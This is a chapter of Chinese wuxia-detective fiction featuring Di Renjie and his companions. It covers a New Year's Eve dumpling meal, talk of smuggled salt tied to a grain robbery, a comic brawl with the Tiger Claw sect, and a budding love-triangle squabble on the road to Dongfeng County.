狄仁杰忙咳了两声,道:“不说了啊,不说了。” 韩忠义道:“我看我们八个人……吃个三四盘应该也够了。” 洪辉笑道:“够了够了!我都没想到今儿还能吃上饺子!” 狄宁笑道:“闻着味儿都好香呢。” 鹃儿道:“我吃一点点就饱了。” 马肃、梅四儿道:“我们也够了。” 胡乐道:“你们七个吃它个三四盘自然是够了。” 他们都问:“那你呢?” 胡乐嘿嘿笑道:“我就来它个六七盘,应该也够了吧。” 洪辉一口水喷了出来,道:“胡乐哥,你这么能吃!” 韩忠义笑道:“你别听他胡扯,再能吃也吃不了这么多。” 胡乐道:“谁说的!我还真就吃得了!” 韩忠义道:“你是能吃,可没那么多钱!” 胡乐道:“几两银子还不够?” 韩忠义道:“我们能当的都当了,这点银子用完以后,下一顿你就吃屁喝凉水去吧。” 于是点了猪肉白菜、韭菜馅的,各来两盘。 胡乐道:“三鲜饺儿也就贵那么一点儿,比什么白菜的好吃得多。” 韩忠义道:“你敢不敢吃饺子不蘸醋?” 胡乐道:“嘿,饺子要是不蘸醋啊,那还真就没法儿吃呢!” 韩忠义道:“你不知道海鲜跟醋同食是相克的呀?点来要么不蘸醋,要么蘸醋吃了,没人给你收尸。” 小二道:“俺店里饺子都是现做的,你们得等会儿。” 狄仁杰等人忙道谢。 这时,望着远方烟花漫天,狄仁杰突然感到心头一热,眼眶又湿了。 韩忠义道:“大人,你没事吧?” 狄仁杰闭上了眼,忍住泪水不要掉下来。 一时睁开眼来,望着韩忠义几人微微一笑,叹道:“我狄仁杰能在除夕再次与你们相聚,真是上天有眼哪。只是我觉得呀,这一切都太美好了,倒像是一场梦啊……” 胡乐道:“老爷,这不是梦。” 狄仁杰道:“胡乐啊,你怎么知道这不是梦?” 胡乐道:“一会儿你吃饺子了时候,你就知道这不是梦咯。” 这话一出,连狄仁杰都笑了起来。 说起了狄仁杰在柳溪村领着村民土匪大闹仁德县的事,洪辉作为亲身经历、亲眼目睹者,讲得手舞足蹈,心潮澎湃。 韩忠义等人虽也曾听洪老说过一些,然这会儿再听,却仍是热血沸腾,且透过洪辉之口说出,自是别具一格。 又讲起狄仁杰于胡州所历之事,听得韩忠义几人津津有味。 至于路上所受之苦,洪辉每当要提及,狄仁杰便阻止他,以免韩忠义等人听了心疼。 洪辉明白了,于是也不再多说。 韩忠义这时道:“大人,这么说,你们只是顺路来到缘州的?” 狄仁杰道:“通往边关的路可不止一条,又哪有什么固定的路线。你这么问,难道你们是专门来此?” 马肃道:“狄公,我们虽一路都在寻你们的下落,可也确是专门到缘州来的。” 韩忠义道:“是的,因为缘州可能有新的线索。当然,这只是卑职个人的想法,也不一定对。” 狄仁杰道:“哦?说说看。” 韩忠义道:“当日与大人分别以后,我们在军粮被劫现场四处探查,循着地上的米粒和血迹,来到了一个洞口。当时我们几个进去一看,里面竟然堆积了有将及一百袋大米,布袋上还有血迹,显是被劫之军粮。我们当时怀疑,也许是劫军粮之人来不及搬运,便暂时安放于此。我们还抱着侥幸的心理,在洞中待了良久,欲守株待兔,等着那些歹人自投罗网。后来却并未见有人来取,我们也感到很奇怪。这件事之所以会牵扯上缘州,是因为在那些军粮当中,竟发现了有几个不一样的袋子,而其中装的不是大米,是盐。” 狄仁杰道:“盐?” 韩忠义道:“不错,就是盐。而且还不是普通的盐,乃是私盐。” 狄仁杰道:“你怎么知道那是私盐?” 韩忠义道:“首先军粮是供给前方的,布袋皆有兵部的印章为证,这是不会错的。所以即使这几袋盐亦是军粮的一部分,那也应当有印章才是,可上面就没有。就算无印章,盐也是属于朝廷的,而非个人。然这些盐袋上却隐约可见一个‘王’字。既不是官盐,那自然便是私家的了。可这‘王’字也正是蹊跷所在。如今遍观全国,能跟盐扯上关联的,肯定少不了缘州的王家,而王家又正好是朝廷的盐官。这盐官既是替朝廷管盐的,那盐上也不应有这‘王’字出现。唯有一种可能,就是王家以朝廷作为掩饰,暗地里却做着走私的买卖。那么问题来了:王家的私盐怎么会与朝廷被劫的军粮出现在一处呢?这么看来,这军粮一案与王家定然脱不了干系。我们此次来,就是要来查一查这王家到底在搞什么鬼。” 狄仁杰道:“我明白你的意思了,你是怀疑王家的背后还有人。” 韩忠义道:“卑职就是这么以为。” 狄仁杰点头道:“是啊,若无人在背后撑腰,这王家早该被查封了,也不会今日仍在。” 韩忠义道:“大人,这是个顺藤摸瓜的好机会。只要从王家那儿查到了他背后之人,军粮一案自然就有眉目了。” 洪辉笑道:“忠义哥,你也好聪明啊!” 韩忠义哈哈笑道:“兄弟,我这些小聪明在狄大人面前,不值一提。” 狄仁杰呵呵笑道:“我也老啦,长江后浪推前浪,你们这些年轻人哪,也休要过谦。” 鹃儿笑道:“狄老爷和韩大哥都好厉害的,我一听他们说话,都听不明白。” 梅四儿道:“小的也是一知半解。” 马肃道:“不愧是狄公。” 胡乐道:“咱老爷是厉害,韩护卫也不赖,所以每次出来办案,俺都不用动脑子。” 韩忠义笑道:“你当然不用动脑子,动嘴就够了!” 说得几人又笑了。 正说着,小二已陆续将四盘饺子摆上了,还有八双筷子、八个白瓷碗。 狄仁杰笑道:“快趁热吃吧,别等凉了。” 这话一出,洪辉、狄宁二人顿感胸口恶心,便欲作呕。 其余几人莫名其妙,哪想得到三人前番那神奇的经历。 胡乐往白瓷碗里倒了快有半碗醋,韩忠义见了笑道:“你是醋坛子呀,吃这么多醋。” 胡乐道:“我爱吃关你屁事。” 狄仁杰道:“我也来一点。” 韩忠义道:“卑职记得大人喜欢吃原汁原味,怎么今日也要蘸东西吃了?” 狄仁杰道:“此一时彼一时了,人都是会变的。” 于是都各自吃了起来。 胡乐那饺子是直接往嘴里倒的,再喝上一口醋。 洪辉首次见胡乐吃东西的模样,都看得呆了。 韩忠义摇头叹道:“唉呀,你这吃相啊!” 胡乐大口嚼着,道:“我吃我的,碍着你啦!” 韩忠义笑道:“我们都被你给碍着了!你看鹃儿姑娘笑的,饺子都吃不下去了!” 胡乐道:“哎行行行,我慢点儿吃就是了,你满意了吧?就你穷讲究呢。” 狄仁杰、狄宁、洪辉三人此刻吃着饺子,恍如梦境一般。 几人说说笑笑,一片喜气洋洋。 忽听得街上一片声乱嚷,有人叫道:“都滚开!滚开!” 只见五十余人手持器械,穿过人群,来到了饺子店门前。 韩忠义向下一看,说声:“糟糕。” 都问:“怎么啦?” 韩忠义道:“他又来了。” 一人在底下道:“你们几个在这守着,其余都跟我上楼!”说着,带领一群人进了店。 正在店里吃饺子的,一见这架势,登时都跑得没影儿了。 小二叫道:“喂!你们还没给钱哪!” 正要去追,被那群人一脚踹到吐血。 狄仁杰几人大怒,都叫道:“你们干吗打人哪!” 那群人早上了二楼。 当先那人一头黄发,留着黄须,身穿黄袍,大声喝道:“打人?我们还杀人呢!” 韩忠义大怒,拍案而起,指着叫道:“陈年丈!你他妈有种就冲着我来啊!” 那人正是叫陈年丈,也指着叫:“韩忠义!你个王八羔子!我就是他妈冲着你来的!” 韩忠义叫道:“你到底有完没完!” 陈年丈叫道:“跟你没完!” 韩忠义道:“你到底想怎么样?” 陈年丈道:“我黄毛虎陈年丈跟你的新仇旧恨,今日就都给它来个了结!” 韩忠义道:“你今日来找我麻烦,该不会又是为了当年那破事儿?” 陈年丈道:“他妈了个巴子的,听说你来到了缘州,我还他妈的不信呢!” 韩忠义冷笑一声,道:“我知道你们虎爪门就在缘州。可我韩忠义要来就来,你又能把我怎么着?” 陈年丈喝道:“明年的今日,便是你的祭日!” 韩忠义喝道:“你有种来呀!” 胡乐在旁道:“喂喂喂,你们……都谁呀?咋地一见面就吵起来……” 那群人指着胡乐骂道:“你个狗娘养的肥矬!要你多嘴!”直掀起木桌来,朝胡乐飞将去。 胡乐惊道:“哎哟我操!怎么一言不合就……” 话未了,韩忠义早将桌子一掌打了回来。 陈年丈骂道:“狗王八蛋,这不都动了手了么!” 双掌拍向那飞来的桌子,附有内力,哗的一声又飞了回去。 韩忠义大叫一声,将桌子打得木屑四溅,指着喝道:“你他妈有病吧!什么新仇旧恨,我跟你多少年没见了,哪来什么新仇!” 陈年丈哼了一声道:“新仇新仇,就是他妈新的仇!本来是没的,这么一动手不就有了么!” 韩忠义道:“是你的人先动手的!” 陈年丈道:“是你的人先动口的!” 韩忠义道:“君子动口,小人才动手!” 陈年丈道:“你他妈的也动手了,你是不是君子呀?” 韩忠义道:“我那叫还手!”指着胡乐,看着陈年丈道:“他又哪里得罪你了?你的门人干吗要害他!” 胡乐道:“对呀!我哪里得罪你们啦!” 那群人道:“你又肥又矬又丑,这就是你的罪孽!” 胡乐一听,当场哭道:“你们不要净说实话嘛!” 鹃儿、洪辉等人都来安慰胡乐,说他既不肥,又不矬,也不丑。 胡乐哭道:“你们不要净说假话嘛!” 洪辉指着那群人叫道:“你们满口脏话的,难道不比胡乐哥更肥更矬更丑!” 胡乐哭得更加厉害了,道:“兄弟啊,你终于肯说实话啦!” 那群人指着洪辉骂道:“哪儿来的狗娘养的杂种!” 洪辉大怒,叫骂:“我去你妈的个狗王八蛋!你敢骂我娘!我他妈跟你们拼啦!”从桌上抓起白瓷碗便狠命掷去,听得啪啦啪啦几声,全给摔碎了。 小二在楼下大哭起来,叫道:“俺的碗哪!俺的店哪!哎呀!” 那群人骂道:“嚎你娘的丧!去死吧!” 韩忠义见他们要杀小二,连忙几掌凌空击去,内力如潮涌来。 那群人惊叫:“掌门快救命!” 陈年丈大叫一声,忙尽力化解,喝道:“韩忠义!你非要把梁子越结越深吗?!” 韩忠义喝道:“你的人要滥杀无辜,我难道还坐视不理吗?!” 洪辉道:“大过年的,你们到底想怎样啊!” 胡乐道:“就是嘛!他妈的!一上来就打架,有没有病啊你们!” 陈年丈点头道:“好啊!讲人话啊!你他妈的说呀!” 韩忠义道:“说个屁说!是你先来惹事儿的,倒要我们来说!” 狄仁杰道:“诸位,有话好说,这到底是怎么一回事?” 陈年丈道:“你是什么东西?” 洪辉怒道:“你敢骂狄先生是东西!”冲过去就要打人,狄仁杰忙道:“小辉,你别动。” 向陈年丈和那群人作揖道:“我们与诸位素不相识,不知什么地方得罪了,还望说知。” 陈年丈道:“你就是狄仁杰?” 狄仁杰道:“哦?阁下认得我?” 陈年丈道:“早就听说,韩忠义退隐江湖,就是为了一个叫狄仁杰的人,原来就是你。” 狄仁杰道:“不错,忠义他是自愿跟着我的。当年我也是出来办案的时候,一次机缘巧合认识了他。” 韩忠义道:“大人,你不用跟他废话,这人蛮不讲理。” 陈年丈哼了一声,道:“我不讲理,你讲!” 狄仁杰道:“阁下姓陈?” 陈年丈道:“不错!我便是虎爪门的掌门人,江湖人称黄毛虎的陈年丈!” 狄仁杰“哦”了一声,道:“不知陈掌门与忠义有何过节?” 陈年丈哼了一声,道:“你问韩忠义!” 狄仁杰道:“忠义啊,这是怎么回事啊?” 韩忠义道:“大人还是别问了。” 陈年丈冷笑道:“你不敢说?” 韩忠义道:“你说什么?你说我不敢说?我要真给说了出来,都不知道是谁没脸!” 陈年丈道:“你不说我说!你韩忠义当年故意打断了我门人的一条腿!” 韩忠义道:“你只说了一半。” 陈年丈喝道:“我管他妈的一不一半!你就说,你韩忠义当年是不是故意打断了我门人的一条腿?” 韩忠义道:“我韩忠义当年就是故意打断了你那门人的一条狗腿!” 陈年丈哼了一声,道:“你既都亲口承认了,那还说他妈个屁!” 韩忠义道:“江湖中那么多恩恩怨怨,要都像你这么斤斤计较,那还得了!” 陈年丈怒道:“韩忠义!这么多年了,你对于当年的事儿就没有过一丝愧疚吗?” 韩忠义听了这话,哭笑不得,道:“我愧你妈呀我愧!” 陈年丈道:“你这副神情,是因为你知道你当年做错了,不该故意打断我门人的一条腿,是不是?” 韩忠义道:“我问你一个问题。” 陈年丈道:“说!” 韩忠义道:“你是人吗?” 陈年丈怒道:“你他妈才不是人!” 韩忠义哈哈一笑,叹了口气,道:“今儿是除夕夜,能不能不争啦?你不就要我认个错吗?行,那当年就算是我错了吧,不该替你管门人。你现在满意了吧?你可以滚了吧?” 陈年丈道:“你的态度不够诚恳,我不满意!” 韩忠义喝道:“陈年丈!你个狗王八崽子!原本是冤仇宜解不宜结,你还蹬鼻子上脸哪!你怎地不叫你那狗门人认个错呀?” 狄仁杰道:“忠义啊,如果当真是你错了……” 韩忠义叹了口气,道:“卑职没有错。” 陈年丈喝道:“你他妈的认个屁错就想罢休?!没门儿!你既打断了我门人的一条腿,你也得给我赔上一条!” 韩忠义哈哈大笑道:“陈年丈,我一直退让,是在给你们虎爪门留脸面,你倒给脸不要脸哪!你可别逼我真把当年那事儿给说了出来!” 陈年丈看了一眼他的门人,一齐起哄道:“哎哟喂!韩忠义!你还他娘的有脸说呀!你要不把当年那事儿给说了出来,你他娘的就不算是个汉子!你要不说,我们可要说出来了!看看你韩忠义到时候在世上还怎地做人!” 狄仁杰几人一听,唬了一跳。 胡乐道:“妈呀,韩护卫,你当年到底做了啥见不得人的事儿啊?” 韩忠义道:“欸你别听他们胡说八道!” 陈年丈喝道:“韩忠义!你他妈有种的就说!我虎爪门是江湖上的名门正派,以侠义闻名于世,可不容你小子玷污!” 韩忠义哈哈大笑,道:“好,那我就说了,大伙儿给评评理!” 这时饺子店外面一堆人正看着热闹。 韩忠义朗声道:“当年我韩忠义行走江湖时,有一回来到了缘州地界。当时我见到了一个人……哦不,是一条狗,光天化日就要侵犯民女。当时四周还围了一堆看热闹的,竟然他妈没一个人出手相救!我当时就义愤填膺,‘故意’出手打断了那人……不对,是狗,故意去打断了那条狗的一条腿!到了后来我才知道,原来那条狗竟是名门正派虎爪门的弟子!哈哈,唉呀,从那以后,以你陈年丈为首的虎爪门便对我紧追不放。你门派的事儿,我韩忠义作为外人是不该管。可我当时也是大唐的子民!我既见到了这等恶行,又岂能袖手旁观!陈年丈!你纵容门人弟子作恶,我难道还要为此向你认错吗!你那猪狗不如的门人,难道他就不该被我打断一条腿吗!” 这话一出,那些看热闹的都齐声叫好。 狄仁杰几人这才明白,韩忠义只是不想将这件丑事说出,以免丢了陈年丈他们的脸。 胡乐道:“该!这种人断个腿儿都便宜他了!” 洪辉也更加佩服了,笑道:“忠义哥好样的!”又看着陈年丈那群人道:“我也真服了你们了!这种不要脸的事儿,别人藏着还来不及呢,你们还急着说出来,是不是傻呀?” 鹃儿道:“真过分,还名门正派呢。” 狄宁道:“原来名门正派都这个样子。” 马肃道:“这些自诩名门正派的,都是伪君子。” 狄仁杰道:“倘若忠义当时没有出手,那才是忠义的大错了。” 韩忠义道:“多谢大人。” 陈年丈不由得脸一红,与门下人说道:“这事儿从他口中说了出来,好像确是对我们不利啊。” 那群人叹了口气,道:“掌门,我们早就跟你说过,这事儿是韩忠义行侠仗义。我们紧追不放,倒是我们的不对了。” 陈年丈道:“那现在怎么办?” 那群人道:“干脆杀人灭口。” 胡乐指着叫道:“喂喂喂!你们说的俺们可都听见了啊!你们别乱来!别‘胡找’咱‘们’麻烦!苦海无边,回头是岸!你们赶紧放下那个什么刀,然后立地就成佛……” 那群人喝道:“死肥矬!送你上西天!”早将几张木桌打将来。 韩忠义忙叫:“你们快蹲下!” 狄仁杰几人忙蹲下了,桌子瞬即从几人头顶掠过,感到一阵凉风拂来。 几张桌子从栏杆上直飞了出去,把饺子店外面那些看热闹的和过路的全部都给砸死了。 陈年丈大喝一声:“一齐上!” 背后四十余人便手持刀枪剑戟、斧钺钩叉等十八般兵器,一齐向韩忠义等人杀将来。 韩忠义忙用双掌接连击去,那群人顿感阵阵超强内力席卷而来,便如窒息了一般,登时倒了一片。 其余的见了,都唬得后退。 陈年丈喝道:“都给我上啊!他韩忠义纵然再有本事,又能坚持得了几时!” 那群人遂乱杀将来,一齐打车轮战。 果然,韩忠义手中又无兵刃,只得接连消耗内劲,打退一个又来一个,便渐渐感到体力不支了。 幸亏马肃、狄宁、洪辉等人也在旁迎战,帮自己分担了一些压力。 然此时四人手中均无器械,又找不着机会夺取对方的,只得空手对打,不由得吃力非常。 韩忠义正当血战之际,打得精疲力竭,猛一回头,只见胡乐躲在桌子底下,兀自蘸着醋吃饺子,不觉大怒,正欲破口骂人,却腾不出精力来。 鹃儿急道:“我要出去帮忙……” 狄仁杰忙阻止。 胡乐一面嚼着饺子,一面道:“是啊,你别去,去了帮倒忙呢,韩护卫他们就够了。” 一瞥眼,见梅四儿唬得浑身发抖,爬到栏杆边想逃跑,又不敢从二楼往下跳。 胡乐冷笑道:“真是没事儿找事儿。” 梅四儿又爬了回来,颤道:“二楼……忒高了……这跳下去……会……会摔死……” 胡乐骂道:“姓梅的,你也太他妈的怂了!咋一到关键时候你就原形毕露?来来来,吃口饺子,压压惊……” 突然一个大铁锤飞来,正好砸在了眼前,把胡乐唬得哇哇大叫。 此时韩忠义夺来了一把剑,马肃一把刀,狄宁两个小手戟,也都还用得趁手。 洪辉却是一条软鞭,根本不懂得怎么用,只乱挥了一下,对方没打着,倒先中了自己人。 韩忠义三人都叫:“洪辉兄弟,你快走吧!” 洪辉叫道:“不!我不走!我洪辉要与三位哥哥共生死!” 韩忠义一面击退了几人,道:“兄弟,你不会用鞭,我们三人恐怕要丧命你手了。”说着,又得来了一把刀,叫:“接着!” 洪辉丢了鞭,忙接了刀,立时顺手多了。 四人打四十余人,还逐渐占了上风。 不料陈年丈一跃起身,跳过了韩忠义四人,直向狄仁杰几人杀将来。 韩忠义四人大惊,却都腾不出手。 洪辉忙要去救,才一转身,登时后背受伤,摔了下来。 狄宁忙叫:“兄弟!”一不留神,也受了伤。 韩忠义、马肃二人眼神相交,点了个头,齐运内力,刀剑合并,猛一摩擦,双刃之上登时燃起了熊熊烈火。 二人大喝一声,刀剑同时猛挥,只见烈焰附着浑厚的内劲如火龙般袭将来。 那群人身上着了火,都乱喊乱叫的。 此时忙回头一看,只见狄仁杰四人安然无恙,陈年丈却双手捂着眼睛大叫。 原来适才陈年丈使虎爪手向狄仁杰四人攻来,十个手指头直穿破木桌,往桌底使劲一抓,却正好抓了个空。 吓得胡乐饺子直喷了出来,跟鹃儿、梅四儿一齐乱叫。 陈年丈哈哈大笑道:“你们几个小王八崽子给我记住了,明年的今日……” 胡乐忙接口道:“便是你妈的祭日!”说着,一碗醋直泼他脸上。 陈年丈只知四人不会武功,却不防还有这一招,眼睛还来不及闭,醋便已泼了进来,只痛得大叫。 狄仁杰见那群人浑身着火,痛苦之状狰狞可怖,实在是于心不忍。又见饺子店的地板都烧着了,只恐火势蔓延,便一发不可收拾,遂连忙大声叫道:“都别打啦!快救火呀!”跟胡乐、鹃儿都跑到栏杆边大叫:“店里着火啦!快来救火!” 登时,左邻右舍也都“走了水啦”“救火”的乱叫起来。 小二在楼下大哭大叫:“俺的店哪!哎呀呀呀!” 众人忙都抬着一桶桶水进了店,将火浇灭了。 谢过了,众人自去。 那群人被烧了个半死,齐跪下来磕头求饶。 韩忠义道:“扶着你们掌门,都赶紧走吧。” 那群人忙道谢,扶着陈年丈就要去。 陈年丈双目紧闭,回头道:“韩忠义,你……你为什么要放过我?我陈年丈一直跟你作对,你……” 韩忠义叹了口气,道:“我放不放过你,又有什么分别?我仍是我韩忠义,你也还是你陈年丈。人世间的种种恩怨,冤冤相报何时了。只有当一个人学会放下的时候,他才能真正活得逍遥自在。所以不论身在何处,都要记得:只有心中的那一方天地,才是属于你自己的。” 陈年丈听了这一番话,顿时醒悟,对韩忠义道:“过去的那事儿,韩兄做得是对的。我那作恶的门人,早已被我逐出师门了。” 韩忠义道:“你能明辨是非就好。” 陈年丈向韩忠义几人抱拳道:“恭祝几位新春大吉。” 说声:“我们走。”便领着门人自去了。 这里狄仁杰叫韩忠义取出银子来,总共只剩四两多了,递与小二道:“实在是对不住啊,我们来你店里一趟,便搞成了这个样子。这点银子,你都拿了去吧。” 胡乐埋怨道:“老爷,你也先藏着点儿啊!这可是咱最后的盘缠了,咋地一下子全都给人哪!” 狄仁杰道:“你住口,做人就要光明磊落,不能藏着掖着。人家的店好好的,被我们给打坏了,赔人家点银子乃是应该的,难道还是我们吃亏了?你们都不要再说了。” 小二叹道:“老先生,像你这么好的人哪,当真是不多见。别人都恨不得多占点便宜,你还愿意把盘缠都给人。唉,罢了,罢了,今儿是除夕嘛,新的一年都要开始了,就让这一切都过去吧。这顿饺子,就当是俺做东,请你们吃的。这钱哪,俺不要了。”遂执意不收。 狄仁杰道:“店家,你是个好人哪,我多谢你啦。可是这饺子钱哪,我还是要付的。”遂递过去一两银子。 小二道:“你们只点了四盘饺子,用不着这么多。” 狄仁杰道:“我们此刻身上并无碎银子,你就收下了吧。” 小二道:“那你们等会儿啊。”说着,到柜台拿了点碎银子来,先交给了狄仁杰,这才收了那一两银子。 韩忠义见胡乐打了个嗝,忙笑道:“欸我跟你们说啊,方才我正跟那群人打着,一回头就看见他正在吃饺子。真是的,可不气死了我!” 几人都笑了起来。 除夕的夜晚,家家户户点起灯火通宵不灭,谓之守岁。 诸人欢聚,共迎新春,处处洋溢着喜庆的气氛。 狄仁杰八人出了饺子店,来至一小客栈。 柜台一人正打着算盘,见了狄仁杰几人,以为是叫花子,冷笑问:“打尖儿还是住店儿啊?” 胡乐道:“先打尖儿,后住店儿。” 韩忠义忙推了他一下,道:“去你的。” 狄仁杰道:“我们住店。” 那人冷笑道:“就你们几个还住店儿呢?我看还是露宿街头儿得了!” 这话一出,韩忠义、胡乐、洪辉、马肃四人都大怒,指着他叫道:“你再说一遍!” 那人吃了一惊。 狄仁杰道:“你可是掌柜?” 那人道:“是啊,咋地?” 狄仁杰道:“我们既来住店,自然有钱给你。” 掌柜道:“那你们身上有多少啊?” 韩忠义道:“喂,我们身上有多少,关你什么事?怎么你反倒来问我们?你只管说我们住店要多少就是了。” 掌柜道:“看你们这样儿,我怕你们付不起啊。” 韩忠义道:“付不付得起,我们也得先知道你要多少啊!” 掌柜道:“我要多少,我也得先知道你们有多少啊!” 胡乐道:“嘿你他妈的个磨叽啥呢?” 马肃道:“你莫不是黑店?” 掌柜道:“我又不知道你们有多少,我怎么开价?” 洪辉道:“我看就是个黑店!” 狄仁杰道:“掌柜的,我们付得起,你要多少钱?” 掌柜道:“你们八个人儿住他一夜,那就……八两银子吧。” 胡乐一听,二话不说,从掌柜手中一把抢过算盘来,直接砸他脸上。 当晚八人住店,掌柜连一文钱都没问他们要,还白送了宵夜来。 半夜,其余几人都睡着了,狄仁杰悄悄问韩忠义道:“你那把‘凌云宝剑’呢?” 韩忠义道:“大人,你发现啦。” 狄仁杰道:“嗯。这把剑你一直是随身带的,刚才你打架了时候,就见你手中没有器械,我就知道你这把剑没了。” 韩忠义道:“我们几个人没钱用,我就把它偷偷当了,虽然有些舍不得,但还是活命要紧。我没有告诉胡乐他们,他们也没有发觉。” 狄仁杰道:“你当哪儿了?” 韩忠义道:“就在不远处的街头,一个当铺里,换了一两银子。” 狄仁杰道:“那是无价之宝,我知道它对你很重要。” 韩忠义道:“也没什么……” 狄仁杰道:“你拿一两银子去,偷偷把宝剑再换回来。” 韩忠义道:“大人,这样不好吧。” 狄仁杰道:“生命中有的东西,不是金钱可以代替的。我认为你应该把宝剑换回来,你快去吧。” 当晚,韩忠义便偷偷地把宝剑拿了回来,在当铺的柜台上放了一两银子。 次日一早,狄仁杰还是照常付了钱,八人便离了客店。 胡乐道:“新的一年头一日,赏着灯笼吃饺子。” 韩忠义笑道:“你还想着吃喝玩乐呢!你可别忘了,咱们还有正经事要办。” 狄仁杰道:“是啊,不能再停滞了。” 遂继续赶路。 沿途打听到了盐官王家的所在,位于城西东凤县。 狄仁杰一行人遂冲风冒寒而往。 这日一面走着,洪辉问鹃儿道:“鹃姑娘,你到底姓什么呀?” 鹃儿摇头道:“我不记得了。” 洪辉点头叹道:“可怜哪。我娘虽早早地就没了,可至少我爹还健在。不像你,父母都去了,实在是比我惨得多。”又问她:“欸,你叔叔难道没有告诉过你吗?” 鹃儿道:“我叔叔他……不会说话。” 韩忠义道:“哦?你叔叔怎么就不会说话了?” 鹃儿道:“这……其实我叔叔他……他是个哑巴。” 狄仁杰几人都“哦”了一声。 马肃道:“不管你叔叔是不是哑巴,他也真是太缺德了。就为了拿到银子,他竟然把你卖到了彭府。” 洪辉道:“马大哥说得是啊,这种叔叔还是人?” 韩忠义道:“这种人哪,世上多了去了。” 狄仁杰道:“可怜的鹃儿,你想哭就哭出来吧。” 鹃儿抽抽噎噎道:“狄老爷……你们……待我真好。” 狄仁杰见她也穿得破破烂烂的,叹道:“你一个小姑娘,成日跟着我们一群男人跑来跑去,真是委屈你了。我答应过你,会与你一件好衣裳。” 鹃儿越发哭了起来,哽咽道:“狄老爷……你还记得呢……” 狄仁杰眼眶湿了,微微一笑,道:“我怎么会忘记呢?我们此刻虽然盘费不多了,可是如果你想要,那我现在就买一件给你,好不好?” 鹃儿一面哭,一面摇头道:“不要……不要……我不要了……那银子是给我们吃饭住店用的,我不要什么衣裳了。” 狄仁杰几人都含着泪。 韩忠义突然觉得少了些什么,这才意识到,原来是有一人未曾开口说话的缘故。 遂转过去看胡乐,见他背着身,苦着个脸哭。 韩忠义不由得感到好笑,遂悄悄叫了几人,齐笑着望向胡乐。 胡乐一瞥眼,见韩忠义几人正看着自己,登时脸涨得通红,叫道:“干吗嘛!这么看着人家,什么意思!” 韩忠义笑道:“喂,你独自个儿的哭什么呀你!” 胡乐忙擦干了眼泪,叫道:“哭什么哭!我没哭!” 狄宁笑道:“你是哭了。” 胡乐鼓起腮。 洪辉走过来道:“胡乐哥,你是哭了呀!你还好吧?你……” 胡乐双手将洪辉使劲一推,叫道:“你滚开!你别烦我!” 韩忠义忙扶住洪辉,看着胡乐道:“喂喂喂,你过分了哈!小辉可没得罪你,你推他干吗?” 胡乐把头一扭,哼了一声。 鹃儿道:“乐哥哥,你为什么不开心呀?” 胡乐看了她一眼,道:“我……我没有啊。我……我……” 狄仁杰一看就明白了,哈哈笑了几声,道:“好啦好啦好啦,我们先赶紧行路吧,边走边说,啊。” 这一路上,见洪辉跟鹃儿两个时常一起聊天,又见胡乐一个人在后,总是故意落单,韩忠义几人也渐渐明白了。只剩洪辉、鹃儿两个当局者还浑然不觉。 胡乐遂故意跟洪辉闹别扭,洪辉感到莫名其妙。 鹃儿又总是来劝,胡乐只脸一红便了事。 至于为什么原因,这三人自己却不甚明白。 狄仁杰、韩忠义等人虽明白,却也不好来劝的。 有一回,胡乐又从背后将洪辉故意推了一跤。 鹃儿道:“乐哥哥,你干吗呀!” 洪辉爬起身道:“不干胡乐哥的事儿,是我自个儿摔的。” 胡乐冷笑道:“本来就是嘛。” 洪辉忍不住了,道:“胡乐哥,你干吗老是跟我过不去啊?” 胡乐一听怒了,叫道:“你难道还不知道吗!” 洪辉搔头道:“我……我确实不知道啊!” 胡乐看了一眼鹃儿,见她也正望向自己。她那清澈明亮的眼睛纯真无邪,自己不敢多加注视。此刻心头有种说不出来的感觉。于是叹了口气,指着鹃儿,看着洪辉道:“你问她。” 洪辉诧异地说了声:“她?”看了一眼鹃儿,脸便不自觉地红了。 鹃儿见了洪辉,脸也是一红,微微一笑,低下了头。 洪辉看得呆了。 胡乐见二人这般,又大哭了起来。 二人又忙来劝他,实在是不知所措。 狄仁杰等人觉得既可笑又可叹,也只摇了摇头而已。 这日天晚,还有几里路就到东凤县了。 马肃道:“狄公,我们要不先歇他一宿,明日再去王家调查。” 狄仁杰道:“只怕迟则生变哪。” 马肃道:“应该不会的,东凤县就在前面了,走几步路就到了,何必急于一时?且天色已暗了,路又不好走,我们都有些累了。” 韩忠义道:“大人,马兄说得也是啊。反正东凤县马上就到了,我们不如先住店歇一晚。” 狄仁杰听了,点头“嗯”了一声,道:“好吧。” 一行人遂投一家小客店歇宿。 从包裹中取出饼来,各人都拿着吃,独胡乐一人不食。 韩忠义道:“哟,你这人还有主动不吃饭的时候啊?那太阳岂不是要从西边出来了!”几人都笑了。 胡乐并不理睬。 洪辉将饼递了过去,笑劝道:“胡乐哥,你这么能吃,可得多吃点儿啊!来,拿着……” 胡乐不觉大怒,猛一接过饼来便往地上使劲一摔。 几人倒唬了一跳,都道:“怎么啦?” 胡乐叫道:“没怎么!我不吃饼嘛,给你们省点粮食,你们满意了吧!”又指着洪辉叫:“我他妈又没说要饼吃,你他妈的干吗要给我饼啊?!啊!” 洪辉更加莫名其妙,望着狄仁杰道:“先生,我怎么对不起胡乐哥啦?他为什么生气啊?” 狄仁杰呵呵一笑,道:“啊,小辉啊,算啦算啦,你过来吧。” 洪辉道:“我……我怎么了呀我呀?”将饼捡了起来,道:“好好的食物,可别浪费了。” 胡乐冷笑道:“就是嘛,食物给我这种又肥又矬又丑的人吃,当然是浪费咯!” 洪辉道:“我……我不是这个意思啊!” 胡乐叫道:“我看你就是这个意思!” 洪辉叫道:“我又没说你,你干吗这样啊!” 胡乐指着洪辉大叫:“姓洪的!我看你每一句难听的话都是说给我听的!你就是想要气死我!” 洪辉双手抱头叫道:“哎呀我没有哇!” 鹃儿又来劝道:“乐哥哥,你不要跟洪辉哥哥吵了……” 胡乐哼了一声,道:“‘洪辉哥哥’!叫得好亲切啊!” 鹃儿一听,脸登时羞得通红,哭了起来。 韩忠义喝道:“姓胡的!鹃儿姑娘可没得罪你,你干吗说这种话?” 胡乐叫道:“我要说就说!你姓韩的管不着!” 洪辉道:“我洪辉到底哪里得罪你了?你现在又来欺负鹃姑娘,你到底想怎么样?” 胡乐叫道:“我不想怎么样!我只想打死你!”举起拳头便打。 洪辉忙躲闪,并不还手。 狄仁杰忙叫:“胡乐!住手!别打啦!” 胡乐这才罢手了,怒目盯着洪辉,嘴里兀自狠狠地咕哝道:“从今以后,有我姓胡的就没你姓洪的,有你姓洪的就没我姓胡的……”说着,就要出门。 韩忠义道:“你去哪儿啊?” 胡乐道:“我到外边儿睡去。” 韩忠义道:“外边冷得很,你别去了!” 胡乐叫道:“马槽里暖和得很!” 砰的一声摔门而出。 